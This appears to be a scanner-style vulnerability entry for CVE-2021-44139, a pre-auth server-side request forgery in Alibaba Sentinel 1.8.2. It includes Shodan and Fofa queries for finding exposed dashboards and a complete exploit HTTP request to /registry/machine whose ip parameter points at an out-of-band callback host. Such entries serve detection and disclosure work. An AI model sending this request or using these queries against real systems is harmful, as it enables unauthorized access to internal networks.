| Title | Alibaba Sentinel - Server-side request forgery (SSRF) |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to send crafted requests from the server, potentially leading to unauthorized access to internal resources or network scanning. |
| Remediation | Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139). |
| CVSS Score | 7.5 |
| EPSS Score | 0.77664 |
| CVE ID | CVE-2021-44139 |
| CWE ID | CWE-918 |
| Shodan Query | title:"Sentinel Dashboard"http.title:"sentinel dashboard" |
| Fofa Query | title="sentinel dashboard" |
| Tags | cve2021 cve ssrf alibaba oast misconfig sentinel hashicorp vuln |
There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
GET /registry/machine?app=Pt6pK&appType=0&version=0&hostname=n8D5c&ip=d5jo9f9le0o4fg77gkdgbbo31fpansnkh.oast.online&port=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44139.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-44139.pcap
N/AN/A